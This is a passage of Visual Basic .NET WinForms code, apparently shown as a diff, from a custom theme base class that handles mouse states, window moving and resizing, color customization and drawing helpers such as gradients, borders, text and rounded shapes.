ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal specified As BoundsSpecified) + If Not _LockWidth = 0 Then width = _LockWidth + If Not _LockHeight = 0 Then height = _LockHeight + MyBase.SetBoundsCore(x, y, width, height, specified) + End Sub + +#End Region + +#Region " State Handling " + + Protected State As MouseState + Private Sub SetState(ByVal current As MouseState) + State = current + Invalidate() + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + If Not (_IsParentForm AndAlso ParentForm.WindowState = FormWindowState.Maximized) Then + If _Sizable AndAlso Not _ControlMode Then InvalidateMouse() + End If + + MyBase.OnMouseMove(e) + End Sub + + Protected Overrides Sub OnEnabledChanged(ByVal e As EventArgs) + If Enabled Then SetState(MouseState.None) Else SetState(MouseState.Block) + MyBase.OnEnabledChanged(e) + End Sub + + Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) + SetState(MouseState.Over) + MyBase.OnMouseEnter(e) + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + SetState(MouseState.Over) + MyBase.OnMouseUp(e) + End Sub + + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + SetState(MouseState.None) + + If GetChildAtPoint(PointToClient(MousePosition)) IsNot Nothing Then + If _Sizable AndAlso Not _ControlMode Then + Cursor = Cursors.Default + Previous = 0 + End If + End If + + MyBase.OnMouseLeave(e) + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = Windows.Forms.MouseButtons.Left Then SetState(MouseState.Down) + + If Not (_IsParentForm AndAlso ParentForm.WindowState = FormWindowState.Maximized OrElse _ControlMode) Then + If _Movable AndAlso Frame.Contains(e.Location) Then + Capture = False + WM_LMBUTTONDOWN = True + DefWndProc(Messages(0)) + ElseIf _Sizable AndAlso Not Previous = 0 Then + Capture = False + WM_LMBUTTONDOWN = True + DefWndProc(Messages(Previous)) + End If + End If + + MyBase.OnMouseDown(e) + End Sub + + Private WM_LMBUTTONDOWN As Boolean + Protected Overrides Sub WndProc(ByRef m As Message) + MyBase.WndProc(m) + + If WM_LMBUTTONDOWN AndAlso m.Msg = 513 Then + WM_LMBUTTONDOWN = False + + SetState(MouseState.Over) + If Not _SmartBounds Then Return + + If IsParentMdi Then + CorrectBounds(New Rectangle(Point.Empty, Parent.Parent.Size)) + Else + CorrectBounds(Screen.FromControl(Parent).WorkingArea) + End If + End If + End Sub + + Private GetIndexPoint As Point + Private B1, B2, B3, B4 As Boolean + Private Function GetIndex() As Integer + GetIndexPoint = PointToClient(MousePosition) + B1 = GetIndexPoint.X < 7 + B2 = GetIndexPoint.X > Width - 7 + B3 = GetIndexPoint.Y < 7 + B4 = GetIndexPoint.Y > Height - 7 + + If B1 AndAlso B3 Then Return 4 + If B1 AndAlso B4 Then Return 7 + If B2 AndAlso B3 Then Return 5 + If B2 AndAlso B4 Then Return 8 + If B1 Then Return 1 + If B2 Then Return 2 + If B3 Then Return 3 + If B4 Then Return 6 + Return 0 + End Function + + Private Current, Previous As Integer + Private Sub InvalidateMouse() + Current = GetIndex() + If Current = Previous Then Return + + Previous = Current + Select Case Previous + Case 0 + Cursor = Cursors.Default + Case 1, 2 + Cursor = Cursors.SizeWE + Case 3, 6 + Cursor = Cursors.SizeNS + Case 4, 8 + Cursor = Cursors.SizeNWSE + Case 5, 7 + Cursor = Cursors.SizeNESW + End Select + End Sub + + Private Messages(8) As Message + Private Sub InitializeMessages() + Messages(0) = Message.Create(Parent.Handle, 161, New IntPtr(2), IntPtr.Zero) + For I As Integer = 1 To 8 + Messages(I) = Message.Create(Parent.Handle, 161, New IntPtr(I + 9), IntPtr.Zero) + Next + End Sub + + Private Sub CorrectBounds(ByVal bounds As Rectangle) + If Parent.Width > bounds.Width Then Parent.Width = bounds.Width + If Parent.Height > bounds.Height Then Parent.Height = bounds.Height + + Dim X As Integer = Parent.Location.X + Dim Y As Integer = Parent.Location.Y + + If X < bounds.X Then X = bounds.X + If Y < bounds.Y Then Y = bounds.Y + + Dim Width As Integer = bounds.X + bounds.Width + Dim Height As Integer = bounds.Y + bounds.Height + + If X + Parent.Width > Width Then X = Width - Parent.Width + If Y + Parent.Height > Height Then Y = Height - Parent.Height + + Parent.Location = New Point(X, Y) + End Sub + +#End Region + + +#Region " Base Properties " + + Overrides Property Dock() As DockStyle + Get + Return MyBase.Dock + End Get + Set(ByVal value As DockStyle) + If Not _ControlMode Then Return + MyBase.Dock = value + End Set + End Property + + Private _BackColor As Boolean + _ + Overrides Property BackColor() As Color + Get + Return MyBase.BackColor + End Get + Set(ByVal value As Color) + If value = MyBase.BackColor Then Return + + If Not IsHandleCreated AndAlso _ControlMode AndAlso value = Color.Transparent Then + _BackColor = True + Return + End If + + MyBase.BackColor = value + If Parent IsNot Nothing Then + If Not _ControlMode Then Parent.BackColor = value + ColorHook() + End If + End Set + End Property + + Overrides Property MinimumSize() As Size + Get + Return MyBase.MinimumSize + End Get + Set(ByVal value As Size) + MyBase.MinimumSize = value + If Parent IsNot Nothing Then Parent.MinimumSize = value + End Set + End Property + + Overrides Property MaximumSize() As Size + Get + Return MyBase.MaximumSize + End Get + Set(ByVal value As Size) + MyBase.MaximumSize = value + If Parent IsNot Nothing Then Parent.MaximumSize = value + End Set + End Property + + Overrides Property Text() As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + Invalidate() + End Set + End Property + + Overrides Property Font() As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + Invalidate() + End Set + End Property + + _ + Overrides Property ForeColor() As Color + Get + Return Color.Empty + End Get + Set(ByVal value As Color) + End Set + End Property + _ + Overrides Property BackgroundImage() As Image + Get + Return Nothing + End Get + Set(ByVal value As Image) + End Set + End Property + _ + Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return ImageLayout.None + End Get + Set(ByVal value As ImageLayout) + End Set + End Property + +#End Region + +#Region " Public Properties " + + Private _SmartBounds As Boolean = True + Property SmartBounds() As Boolean + Get + Return _SmartBounds + End Get + Set(ByVal value As Boolean) + _SmartBounds = value + End Set + End Property + + Private _Movable As Boolean = True + Property Movable() As Boolean + Get + Return _Movable + End Get + Set(ByVal value As Boolean) + _Movable = value + End Set + End Property + + Private _Sizable As Boolean = True + Property Sizable() As Boolean + Get + Return _Sizable + End Get + Set(ByVal value As Boolean) + _Sizable = value + End Set + End Property + + Private _TransparencyKey As Color + Property TransparencyKey() As Color + Get + If _IsParentForm AndAlso Not _ControlMode Then Return ParentForm.TransparencyKey Else Return _TransparencyKey + End Get + Set(ByVal value As Color) + If value = _TransparencyKey Then Return + _TransparencyKey = value + + If _IsParentForm AndAlso Not _ControlMode Then + ParentForm.TransparencyKey = value + ColorHook() + End If + End Set + End Property + + Private _BorderStyle As FormBorderStyle + Property BorderStyle() As FormBorderStyle + Get + If _IsParentForm AndAlso Not _ControlMode Then Return ParentForm.FormBorderStyle Else Return _BorderStyle + End Get + Set(ByVal value As FormBorderStyle) + _BorderStyle = value + + If _IsParentForm AndAlso Not _ControlMode Then + ParentForm.FormBorderStyle = value + + If Not value = FormBorderStyle.None Then + Movable = False + Sizable = False + End If + End If + End Set + End Property + + Private _StartPosition As FormStartPosition + Property StartPosition() As FormStartPosition + Get + If _IsParentForm AndAlso Not _ControlMode Then Return ParentForm.StartPosition Else Return _StartPosition + End Get + Set(ByVal value As FormStartPosition) + _StartPosition = value + + If _IsParentForm AndAlso Not _ControlMode Then + ParentForm.StartPosition = value + End If + End Set + End Property + + Private _NoRounding As Boolean + Property NoRounding() As Boolean + Get + Return _NoRounding + End Get + Set(ByVal v As Boolean) + _NoRounding = v + Invalidate() + End Set + End Property + + Private _Image As Image + Property Image() As Image + Get + Return _Image + End Get + Set(ByVal value As Image) + If value Is Nothing Then _ImageSize = Size.Empty Else _ImageSize = value.Size + + _Image = value + Invalidate() + End Set + End Property + + Private Items As New Dictionary(Of String, Color) + Property Colors() As Bloom() + Get + Dim T As New List(Of Bloom) + Dim E As Dictionary(Of String, Color).Enumerator = Items.GetEnumerator + + While E.MoveNext + T.Add(New Bloom(E.Current.Key, E.Current.Value)) + End While + + Return T.ToArray + End Get + Set(ByVal value As Bloom()) + For Each B As Bloom In value + If Items.ContainsKey(B.Name) Then Items(B.Name) = B.Value + Next + + InvalidateCustimization() + ColorHook() + Invalidate() + End Set + End Property + + Private _Customization As String + Property Customization() As String + Get + Return _Customization + End Get + Set(ByVal value As String) + If value = _Customization Then Return + + Dim Data As Byte() + Dim Items As Bloom() = Colors + + Try + Data = Convert.FromBase64String(value) + For I As Integer = 0 To Items.Length - 1 + Items(I).Value = Color.FromArgb(BitConverter.ToInt32(Data, I * 4)) + Next + Catch + Return + End Try + + _Customization = value + + Colors = Items + ColorHook() + Invalidate() + End Set + End Property + + Private _Transparent As Boolean + Property Transparent() As Boolean + Get + Return _Transparent + End Get + Set(ByVal value As Boolean) + _Transparent = value + If Not (IsHandleCreated OrElse _ControlMode) Then Return + + If Not value AndAlso Not BackColor.A = 255 Then + Throw New Exception("Unable to change value to false while a transparent BackColor is in use.") + End If + + SetStyle(ControlStyles.Opaque, Not value) + SetStyle(ControlStyles.SupportsTransparentBackColor, value) + + InvalidateBitmap() + Invalidate() + End Set + End Property + +#End Region + +#Region " Private Properties " + + Private _ImageSize As Size + Protected ReadOnly Property ImageSize() As Size + Get + Return _ImageSize + End Get + End Property + + Private _IsParentForm As Boolean + Protected ReadOnly Property IsParentForm() As Boolean + Get + Return _IsParentForm + End Get + End Property + + Protected ReadOnly Property IsParentMdi() As Boolean + Get + If Parent Is Nothing Then Return False + Return Parent.Parent IsNot Nothing + End Get + End Property + + Private _LockWidth As Integer + Protected Property LockWidth() As Integer + Get + Return _LockWidth + End Get + Set(ByVal value As Integer) + _LockWidth = value + If Not LockWidth = 0 AndAlso IsHandleCreated Then Width = LockWidth + End Set + End Property + + Private _LockHeight As Integer + Protected Property LockHeight() As Integer + Get + Return _LockHeight + End Get + Set(ByVal value As Integer) + _LockHeight = value + If Not LockHeight = 0 AndAlso IsHandleCreated Then Height = LockHeight + End Set + End Property + + Private _Header As Integer = 24 + Protected Property Header() As Integer + Get + Return _Header + End Get + Set(ByVal v As Integer) + _Header = v + + If Not _ControlMode Then + Frame = New Rectangle(7, 7, Width - 14, v - 7) + Invalidate() + End If + End Set + End Property + + Private _ControlMode As Boolean + Protected Property ControlMode() As Boolean + Get + Return _ControlMode + End Get + Set(ByVal v As Boolean) + _ControlMode = v + + Transparent = _Transparent + If _Transparent AndAlso _BackColor Then BackColor = Color.Transparent + + InvalidateBitmap() + Invalidate() + End Set + End Property + + Private _IsAnimated As Boolean + Protected Property IsAnimated() As Boolean + Get + Return _IsAnimated + End Get + Set(ByVal value As Boolean) + _IsAnimated = value + InvalidateTimer() + End Set + End Property + +#End Region + + +#Region " Property Helpers " + + Protected Function GetPen(ByVal name As String) As Pen + Return New Pen(Items(name)) + End Function + Protected Function GetPen(ByVal name As String, ByVal width As Single) As Pen + Return New Pen(Items(name), width) + End Function + + Protected Function GetBrush(ByVal name As String) As SolidBrush + Return New SolidBrush(Items(name)) + End Function + + Protected Function GetColor(ByVal name As String) As Color + Return Items(name) + End Function + + Protected Sub SetColor(ByVal name As String, ByVal value As Color) + If Items.ContainsKey(name) Then Items(name) = value Else Items.Add(name, value) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(a, r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal value As Color) + SetColor(name, Color.FromArgb(a, value)) + End Sub + + Private Sub InvalidateBitmap() + If _Transparent AndAlso _ControlMode Then + If Width = 0 OrElse Height = 0 Then Return + B = New Bitmap(Width, Height, PixelFormat.Format32bppPArgb) + G = Graphics.FromImage(B) + Else + G = Nothing + B = Nothing + End If + End Sub + + Private Sub InvalidateCustimization() + Dim M As New MemoryStream(Items.Count * 4) + + For Each B As Bloom In Colors + M.Write(BitConverter.GetBytes(B.Value.ToArgb), 0, 4) + Next + + M.Close() + _Customization = Convert.ToBase64String(M.ToArray) + End Sub + + Private Sub InvalidateTimer() + If DesignMode OrElse Not DoneCreation Then Return + + If _IsAnimated Then + AddAnimationCallback(AddressOf DoAnimation) + Else + RemoveAnimationCallback(AddressOf DoAnimation) + End If + End Sub + +#End Region + + +#Region " User Hooks " + + Protected MustOverride Sub ColorHook() + Protected MustOverride Sub PaintHook() + + Protected Overridable Sub OnCreation() + End Sub + + Protected Overridable Sub OnAnimation() + End Sub + +#End Region + + +#Region " Offset " + + Private OffsetReturnRectangle As Rectangle + Protected Function Offset(ByVal r As Rectangle, ByVal amount As Integer) As Rectangle + OffsetReturnRectangle = New Rectangle(r.X + amount, r.Y + amount, r.Width - (amount * 2), r.Height - (amount * 2)) + Return OffsetReturnRectangle + End Function + + Private OffsetReturnSize As Size + Protected Function Offset(ByVal s As Size, ByVal amount As Integer) As Size + OffsetReturnSize = New Size(s.Width + amount, s.Height + amount) + Return OffsetReturnSize + End Function + + Private OffsetReturnPoint As Point + Protected Function Offset(ByVal p As Point, ByVal amount As Integer) As Point + OffsetReturnPoint = New Point(p.X + amount, p.Y + amount) + Return OffsetReturnPoint + End Function + +#End Region + +#Region " Center " + + Private CenterReturn As Point + + Protected Function Center(ByVal p As Rectangle, ByVal c As Rectangle) As Point + CenterReturn = New Point((p.Width \ 2 - c.Width \ 2) + p.X + c.X, (p.Height \ 2 - c.Height \ 2) + p.Y + c.Y) + Return CenterReturn + End Function + Protected Function Center(ByVal p As Rectangle, ByVal c As Size) As Point + CenterReturn = New Point((p.Width \ 2 - c.Width \ 2) + p.X, (p.Height \ 2 - c.Height \ 2) + p.Y) + Return CenterReturn + End Function + + Protected Function Center(ByVal child As Rectangle) As Point + Return Center(Width, Height, child.Width, child.Height) + End Function + Protected Function Center(ByVal child As Size) As Point + Return Center(Width, Height, child.Width, child.Height) + End Function + Protected Function Center(ByVal childWidth As Integer, ByVal childHeight As Integer) As Point + Return Center(Width, Height, childWidth, childHeight) + End Function + + Protected Function Center(ByVal p As Size, ByVal c As Size) As Point + Return Center(p.Width, p.Height, c.Width, c.Height) + End Function + + Protected Function Center(ByVal pWidth As Integer, ByVal pHeight As Integer, ByVal cWidth As Integer, ByVal cHeight As Integer) As Point + CenterReturn = New Point(pWidth \ 2 - cWidth \ 2, pHeight \ 2 - cHeight \ 2) + Return CenterReturn + End Function + +#End Region + +#Region " Measure " + + Private MeasureBitmap As Bitmap + Private MeasureGraphics As Graphics + + Protected Function Measure() As Size + SyncLock MeasureGraphics + Return MeasureGraphics.MeasureString(Text, Font, Width).ToSize + End SyncLock + End Function + Protected Function Measure(ByVal text As String) As Size + SyncLock MeasureGraphics + Return MeasureGraphics.MeasureString(text, Font, Width).ToSize + End SyncLock + End Function + +#End Region + + +#Region " DrawPixel " + + Private DrawPixelBrush As SolidBrush + + Protected Sub DrawPixel(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer) + If _Transparent Then + B.SetPixel(x, y, c1) + Else + DrawPixelBrush = New SolidBrush(c1) + G.FillRectangle(DrawPixelBrush, x, y, 1, 1) + End If + End Sub + +#End Region + +#Region " DrawCorners " + + Private DrawCornersBrush As SolidBrush + + Protected Sub DrawCorners(ByVal c1 As Color, ByVal offset As Integer) + DrawCorners(c1, 0, 0, Width, Height, offset) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal r1 As Rectangle, ByVal offset As Integer) + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height, offset) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal offset As Integer) + DrawCorners(c1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)) + End Sub + + Protected Sub DrawCorners(ByVal c1 As Color) + DrawCorners(c1, 0, 0, Width, Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal r1 As Rectangle) + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + If _NoRounding Then Return + + If _Transparent Then + B.SetPixel(x, y, c1) + B.SetPixel(x + (width - 1), y, c1) + B.SetPixel(x, y + (height - 1), c1) + B.SetPixel(x + (width - 1), y + (height - 1), c1) + Else + DrawCornersBrush = New SolidBrush(c1) + G.FillRectangle(DrawCornersBrush, x, y, 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y, 1, 1) + G.FillRectangle(DrawCornersBrush, x, y + (height - 1), 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y + (height - 1), 1, 1) + End If + End Sub + +#End Region + +#Region " DrawBorders " + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal offset As Integer) + DrawBorders(p1, 0, 0, Width, Height, offset) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle, ByVal offset As Integer) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height, offset) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal offset As Integer) + DrawBorders(p1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)) + End Sub + + Protected Sub DrawBorders(ByVal p1 As Pen) + DrawBorders(p1, 0, 0, Width, Height) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + G.DrawRectangle(p1, x, y, width - 1, height - 1) + End Sub + +#End Region + +#Region " DrawText " + + Private DrawTextPoint As Point + Private DrawTextSize As Size + + Protected Sub DrawText(ByVal b1 As Brush, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawText(b1, Text, a, x, y) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal text As String, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If text.Length = 0 Then Return + + DrawTextSize = Measure(text) + DrawTextPoint = New Point(Width \ 2 - DrawTextSize.Width \ 2, Header \ 2 - DrawTextSize.Height \ 2) + + Select Case a + Case HorizontalAlignment.Left + G.DrawString(text, Font, b1, x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Center + G.DrawString(text, Font, b1, DrawTextPoint.X + x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Right + G.DrawString(text, Font, b1, Width - DrawTextSize.Width - x, DrawTextPoint.Y + y) + End Select + End Sub + + Protected Sub DrawText(ByVal b1 As Brush, ByVal p1 As Point) + If Text.Length = 0 Then Return + G.DrawString(Text, Font, b1, p1) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal x As Integer, ByVal y As Integer) + If Text.Length = 0 Then Return + G.DrawString(Text, Font, b1, x, y) + End Sub + +#End Region + +#Region " DrawImage " + + Private DrawImagePoint As Point + + Protected Sub DrawImage(ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, a, x, y) + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + DrawImagePoint = New Point(Width \ 2 - image.Width \ 2, Header \ 2 - image.Height \ 2) + + Select Case a + Case HorizontalAlignment.Left + G.DrawImage(image, x, DrawImagePoint.Y + y, image.Width, image.Height) + Case HorizontalAlignment.Center + G.DrawImage(image, DrawImagePoint.X + x, DrawImagePoint.Y + y, image.Width, image.Height) + Case HorizontalAlignment.Right + G.DrawImage(image, Width - image.Width - x, DrawImagePoint.Y + y, image.Width, image.Height) + End Select + End Sub + + Protected Sub DrawImage(ByVal p1 As Point) + DrawImage(_Image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, x, y) + End Sub + + Protected Sub DrawImage(ByVal image As Image, ByVal p1 As Point) + DrawImage(image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + G.DrawImage(image, x, y, image.Width, image.Height) + End Sub + +#End Region + +#Region " DrawGradient " + + Private DrawGradientBrush As LinearGradientBrush + Private DrawGradientRectangle As Rectangle + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(blend, DrawGradientRectangle) + End Sub + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(blend, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal r As Rectangle) + DrawGradientBrush = New LinearGradientBrush(r, Color.Empty, Color.Empty, 90.0F) + DrawGradientBrush.InterpolationColors = blend + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, Color.Empty, Color.Empty, angle) + DrawGradientBrush.InterpolationColors = blend + G.FillRectangle(DrawGradientBrush, r) + End Sub + + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(c1, c2, DrawGradientRectangle) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(c1, c2, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle) + DrawGradientBrush = New LinearGradientBrush(r, c1, c2, 90.0F) + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, c1, c2, angle) + G.FillRectangle(DrawGradientBrush, r) + End Sub + +#End Region + +#Region " DrawRadial " + + Private DrawRadialPath As GraphicsPath + Private DrawRadialBrush1 As PathGradientBrush + Private DrawRadialBrush2 As LinearGradientBrush + Private DrawRadialRectangle As Rectangle + + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, width \ 2, height \ 2) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal center As Point) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, center.X, center.Y) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal cx As Integer, ByVal cy As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, cx, cy) + End Sub + + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle) + DrawRadial(blend, r, r.Width \ 2, r.Height \ 2) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal center As Point) + DrawRadial(blend, r, center.X, center.Y) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal cx As Integer, ByVal cy As Integer) + DrawRadialPath.Reset() + DrawRadialPath.AddEllipse(r.X, r.Y, r.Width - 1, r.Height - 1) + + DrawRadialBrush1 = New PathGradientBrush(DrawRadialPath) + DrawRadialBrush1.CenterPoint = New Point(r.X + cx, r.Y + cy) + DrawRadialBrush1.InterpolationColors = blend + + If G.SmoothingMode = SmoothingMode.AntiAlias Then + G.FillEllipse(DrawRadialBrush1, r.X + 1, r.Y + 1, r.Width - 3, r.Height - 3) + Else + G.FillEllipse(DrawRadialBrush1, r) + End If + End Sub + + + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(c1, c2, DrawGradientRectangle) + End Sub + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(c1, c2, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle) + DrawRadialBrush2 = New LinearGradientBrush(r, c1, c2, 90.0F) + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle, ByVal angle As Single) + DrawRadialBrush2 = New LinearGradientBrush(r, c1, c2, angle) + G.FillEllipse(DrawGradientBrush, r) + End Sub + +#End Region + +#Region " CreateRound " + + Private CreateRoundPath As GraphicsPath + Private CreateRoundRectangle As Rectangle + + Function CreateRound(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal slope As Integer) As GraphicsPath + CreateRoundRectangle = New Rectangle(x, y, width, height) + Return CreateRound(CreateRoundRectangle, slope) + End Function + + Function CreateRound(ByVal r As Rectangle, ByVal slope As Integer) As GraphicsPath + CreateRoundPath = New GraphicsPath(FillMode.Winding) + CreateRoundPath.AddArc(r.X, r.Y, slope, slope, 180.0F, 90.0F) + CreateRoundPath.AddArc(r.Right - slope, r.Y, slope, slope, 270.0F, 90.0F) + CreateRoundPath.AddArc(r.Right - slope, r.Bottom - slope, slope, slope, 0.0F, 90.0F) + CreateRoundPath.AddArc(r.X, r.Bottom - slope, slope, slope, 90.0F, 90.0F) + CreateRoundPath.CloseFigure() + Return CreateRoundPath + End Function + +#End Region + +End Class + +MustInherit Class ThemeControl154 + Inherits Control + + +#Region " Initialization " + + Protected G As Graphics, B As Bitmap + + Sub New() + SetStyle(DirectCast(139270, ControlStyles), True) + + _ImageSize = Size.Empty + Font = New Font("Verdana", 8S) + + MeasureBitmap = New Bitmap(1, 1) + MeasureGraphics = Graphics.FromImage(MeasureBitmap) + + DrawRadialPath = New GraphicsPath + + InvalidateCustimization() 'Remove? + End Sub + + Protected NotOverridable Overrides Sub OnHandleCreated(ByVal e As EventArgs) + InvalidateCustimization() + ColorHook() + + If Not _LockWidth = 0 Then Width = _LockWidth + If Not _LockHeight = 0 Then Height = _LockHeight + + Transparent = _Transparent + If _Transparent AndAlso _BackColor Then BackColor = Color.Transparent + + MyBase.OnHandleCreated(e) + End Sub + + Private DoneCreation As Boolean + Protected NotOverridable Overrides Sub OnParentChanged(ByVal e As EventArgs) + If Parent IsNot Nothing Then + OnCreation() + DoneCreation = True + InvalidateTimer() + End If + + MyBase.OnParentChanged(e) + End Sub + +#End Region + + Private Sub DoAnimation(ByVal i As Boolean) + OnAnimation() + If i Then Invalidate() + End Sub + + Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If Width = 0 OrElse Height = 0 Then Return + + If _Transparent Then + PaintHook() + e.Graphics.DrawImage(B, 0, 0) + Else + G = e.Graphics + PaintHook() + End If + End Sub + + Protected Overrides Sub OnHandleDestroyed(ByVal e As EventArgs) + RemoveAnimationCallback(AddressOf DoAnimation) + MyBase.OnHandleDestroyed(e) + End Sub + +#Region " Size Handling " + + Protected NotOverridable Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If _Transparent Then + InvalidateBitmap() + End If + + Invalidate() + MyBase.OnSizeChanged(e) + End Sub + + Protected Overrides Sub SetBoundsCore(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal specified As BoundsSpecified) + If Not _LockWidth = 0 Then width = _LockWidth + If Not _LockHeight = 0 Then height = _LockHeight + MyBase.SetBoundsCore(x, y, width, height, specified) + End Sub + +#End Region + +#Region " State Handling " + + Private InPosition As Boolean + Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) + InPosition = True + SetState(MouseState.Over) + MyBase.OnMouseEnter(e) + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + If InPosition Then SetState(MouseState.Over) + MyBase.OnMouseUp(e) + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = Windows.Forms.MouseButtons.Left Then SetState(MouseState.Down) + MyBase.OnMouseDown(e) + End Sub + + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + InPosition = False + SetState(MouseState.None) + MyBase.OnMouseLeave(e) + End Sub + + Protected Overrides Sub OnEnabledChanged(ByVal e As EventArgs) + If Enabled Then SetState(MouseState.None) Else SetState(MouseState.Block) + MyBase.OnEnabledChanged(e) + End Sub + + Protected State As MouseState + Private Sub SetState(ByVal current As MouseState) + State = current + Invalidate() + End Sub + +#End Region + + +#Region " Base 